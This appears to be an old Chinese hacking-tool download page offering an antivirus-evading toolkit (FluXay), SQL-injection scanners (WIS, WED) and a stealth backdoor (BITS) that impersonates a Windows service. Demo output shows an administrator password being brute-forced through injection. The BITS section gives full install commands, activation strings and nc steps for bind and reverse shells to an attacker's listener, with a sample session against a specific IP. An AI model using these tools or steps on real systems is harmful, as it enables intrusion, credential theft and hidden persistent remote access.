新建网页 1

【Last Update 2005/08/08】

[FluXay 5] 2006/05/22

From Dream， For Dream, Rebuild

没有了任何限制，个人觉得里面的Remote ARP Sniffer很好用。

由于需要逃过AV，所以删除了部分无关紧要的工具。

Help里面的帮助写的非常详细了，请参考。

[下载]

[WED] 2004/08/29

WED (Web Entry Detector)，针对存在SQL Injection的网站对管理帐号进行扫描。

Demo: 对通过WIS扫描出的存在SQL Injection漏洞的网站进行后台管理帐号扫描

C:\>WED.exe http://www.someaspsite.com/shownews.asp?newsid=1544

Web Entry Detector, Ver 1.0 by netXeyes, 2004/08/26
http://www.netXeyes.com, security@vip.sina.com

#### Phrase 0: Check Enviroment ####
Get Row 1, Set Sensitive 250, Max Threads is 30
File C:\TableName.dic Opened
File C:\UserField.dic Opened
File C:\PassField.dic Opened

#### Phrase 1: Process Argv ####
Host:www.someaspsite.com
Page:/shownews.asp?newsid=1544

#### Phrase 2: Detect SQL Injection ####
SQL Injection Detected.

#### Phrase 3: Get Cookies ####
Tag: 2017
Cookie: ASPSESSIONIDSADSBTAS=BIMAMMNCLCCIFICPLNEMFKND; path=/

#### Phrase 4: Starting Get Table Name ####
Tag: 45
Got Table Name is "users"

#### Phrase 5: Starting Get Name Field ####
Tag: 45
Got Name Field is "name"

#### Phrase 6: Starting Get Length of Field "name" ####
Tag: 24
Got Length of Field "name" is: 13

#### Phrase 7: Starting Get Password Field ####
Tag: 45
Got Password Field is "pwd"

#### Phrase 8: Starting Get Length of Field "pwd" ####
Tag: 24
Got Length of Field "pwd" is: 9

#### Phrase 9: Starting Brute Field "name" and "pwd" (Access Mode) ####

name is: administrator
pwd is: admin@bvn

C:\>

到这一步，就可以通过WIS扫描获得的管理页面后台登陆了。

[WIS] 2004/08/29

WIS (Web Injection Scanner)，自动对整个网站进行SQL Injection 脆弱性扫描，并且能够扫描后台登陆界面。

Demo1: 扫描整个网站，找出存在SQL Injection的页面

C:\>wis http://www.someaspsite.com/

Web Injection Scanner (Protype 0.4)
by netXeyes, 2004.05.08 http://www.netXeyes.com security@vip.sina.com
　

Scanning http://www.someaspsite.com/, Page: Unlimited
Patient, Please....

(001 + 000) Checking: /shownews.asp?newsid=204
SQL Injection Found: /shownews.asp?newsid=204

Injection Page Final Result:
============================
/shownews.asp?newsid=204

C:\>

Demo2: 扫描后台管理页面

C:\>wis http://www.someaspsite.com/ ／A

Web Injection Scanner (Protype 0.4)
by netXeyes, 2004.05.08 http://www.netXeyes.com security@vip.sina.com

Scanning http://www.someaspsite.com/, Page: Unlimited, Detect Access Page
Patient, Please....

(004 + 005) Access Page: /www.asp
(004 + 006) Access Page: /wwwstats.asp
(004 + 006) Access Page: /wwwlog.asp
(004 + 006) Access Page: /wstats.asp
(004 + 006) Access Page: /work.asp
(005 + 007) Access Page: /webstats.asp
(000 + 016) Access Page: /gansu2/tjhg.files/admin_index.asp
(000 + 015) Access Page: /gansu2/tjhg.files/admin.asp
(000 + 012) Access Page: /gansu2/gs.files/admin_index.asp
(000 + 011) Access Page: /gansu2/gs.files/index_admin.asp
(000 + 010) Access Page: /gansu2/tjhg.files/admin_del.asp
(000 + 009) Access Page: /gansu2/ddddd.files/manage.asp
(000 + 003) Access Page: /gansu2/ddddd.files/index_admin.asp

Access Page Final Result:
============================
/gansu2/login.asp (200 OK)

Scan Finished

C:\>

[BITS] 2003/09/16

BITS(Beat IT Security?)，对商业的IT Security开始觉得厌倦了，So，Let's Beat IT Security :-)。

BITS其实是Background Intelligent Transfer Service的缩写，让我们暂时借用这个服务和名字吧，因为BITS是一个冒名顶替的后门，也可以在不知不觉中实现另一种意义的Background Intelligent Transfer Service。

这个后门是根据Bingle的关于svchost的原理写的，Thanks to Bingle。

特点：

进程管理器中看不到
平时没有端口，只是在系统中充当卧底的角色
提供正向连接和反向连接两种功能
仅适用于Windows2000/XP/2003

安装：

在Administrators的权限下或者LocalSystem下：

rundll32.exe BITS.dll,Install <Active Strings>

Active Strings是用户自己指定的一个特征字符串，用于激活BITS。

卸载：
rundll32.exe BITS.dll,Uninstall
重启系统

通常情况下安装和卸载无论成功或者失败都不会有提示。

正向连接：

1、用nc连接目标主机的任何一个TCP端口（80/139/445.....）
2、按照以下格式输入激活命令
<Active Strings>@dancewithdolphin[xell]:<PORT>
例如，在安装的时候设定了Active Strings为BITS Door，将CMD绑定在端口99：
BITS Door@dancewithdolphin[xell]:99

这样目标主机就会将CMD绑定在99。
3、连接目标主机的指定端口（上例中为99）

反向连接：

很多情况下主机是在防火墙后面的，这样就需要用反向连接。

1、在本地使用NC监听（如：nc -l -p 1234)
2、用nc连接目标主机的任何一个防火墙允许的TCP端口（80/139/445.....）
3、按照以下格式输入激活命令
<Active Strings>@dancewithdolphin[rxell]:<Your IP>:<Listen Port>
例如，在安装的时候设定了Active Strings为BITS Door，本机地址为1.1.1.1, nc在1234
端口监听：
BITS Door@dancewithdolphin[rxell]:1.1.1.1:1234
4、目标主机的CMD将会出现在NC监听的端口1234。

注意：所有的输入都区分大小写。

Example:

C:\My Documents>nc 219.237.63.199 139
securitystrings@dancewithdolphin[xell]:7
?

C:\My Documents>nc 219.237.63.199 7
廙icrosoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>

如果没有成功，可以尝试在安装的时候使用：

rundll32.exe BITS.dll,Install rasauto <Active Strings>